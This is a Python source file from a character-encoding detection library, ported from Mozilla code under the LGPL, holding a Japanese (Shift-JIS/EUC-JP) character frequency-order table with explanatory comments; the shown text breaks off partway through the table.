######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # Sampling from about 20M text materials include literature and computer technology # # Japanese frequency table, applied to both S-JIS and EUC-JP # They are sorted in order. # 128 --> 0.77094 # 256 --> 0.85710 # 512 --> 0.92635 # 1024 --> 0.97130 # 2048 --> 0.99431 # # Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 # Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 # # Typical Distribution Ratio, 25% of IDR JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 # Char to FreqOrder table , JIS_TABLE_SIZE = 4368 JISCharToFreqOrder = ( 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, # 64 2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, # 80 5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, # 96 1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, # 112 5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, # 128 5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, # 144 5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, # 160 5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, # 176 5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, # 192 5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, # 208 1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, # 224 1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, # 240 1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, # 256 2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, # 272 3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, # 288 3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, # 304 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, # 320 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, # 336 1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, # 352 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, # 368 5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, # 384 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, # 400 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, # 416 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, # 432 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, # 448 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, # 464 5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, # 480 5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, # 496 5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, # 512 4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, # 528 5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, # 544 5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, # 560 5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, # 576 5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, # 592 5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, # 608 5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, # 624 5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, # 640 5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, # 656 5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, # 672 3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, # 688 5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, # 704 5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, # 720 5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, # 736 5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, # 752 5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, # 768 5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, # 784 5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, # 800 5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, # 816 5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, # 832 5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, # 848 5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, # 864 5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, # 880 5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, # 896 5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, # 912 5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, # 928 5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, # 944 5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, # 960 5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, # 976 5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, # 992 5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008 5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024 5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040 5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056 5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072 5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088 5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104 5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120 5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136 5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152 5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168 5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184 5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200 5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216 5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232 5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248 5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264 5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280 5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296 6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312 6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328 6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344 6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360 6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376 6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392 6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408 6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424 4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472 1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, # 1488 1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520 3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536 3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568 3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584 3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616 2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648 3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664 1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696 1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728 2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744 2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760 2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776 2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792 1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808 1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824 1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840 1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856 2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872 1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888 2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904 1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920 1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936 1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952 1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968 1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984 1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032 1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048 2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064 2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080 2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096 3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112 3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144 3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160 1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, # 2176 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192 2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208 1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240 3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256 4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272 2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288 1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304 2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320 1075, 292,3818,1756,2602, 317, 98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368 1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384 2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400 2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416 2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432 3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448 1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464 2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528 1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, # 2544 2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576 1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592 1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624 1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640 1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656 1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688 2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720 2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736 3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752 2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768 1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784 6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, # 2800 1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816 2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832 1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880 3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896 3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912 1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928 1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944 1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960 1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008 2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040 3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056 2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088 1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104 2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136 1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168 4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184 2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200 1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232 1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248 2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280 6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296 1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312 1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328 2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344 3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376 3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392 1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424 1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456 3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488 2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520 4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536 2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552 1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568 1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584 1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616 1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632 3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648 1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664 3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728 2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744 1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776 1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808 1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, # 3872 1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888 1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904 2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920 4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, # 3952 1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984 1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000 3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016 1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032 2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048 2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064 1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080 1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096 2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128 2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144 1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160 1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176 1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, # 4192 1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208 3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224 2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240 2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256 575,2212,2476, 475,2401,2681, 785,2744,1745,2293,2555,1975,3133,2865, 394,4668, # 4272 3839, 635,4131, 639, 202,1507,2195,2766,1345,1435,2572,3726,1908,1184,1181,2457, # 4288 3727,3134,4362, 843,2611, 437, 916,4669, 234, 769,1884,3046,3047,3623, 833,6187, # 4304 1639,2250,2402,1355,1185,2010,2047, 999, 525,1732,1290,1488,2612, 948,1578,3728, # 4320 2413,2477,1216,2725,2159, 334,3840,1328,3624,2921,1525,4132, 564,1056, 891,4363, # 4336 1444,1698,2385,2251,3729,1365,2281,2235,1717,6188, 864,3841,2515, 444, 527,2767, # 4352 2922,3625, 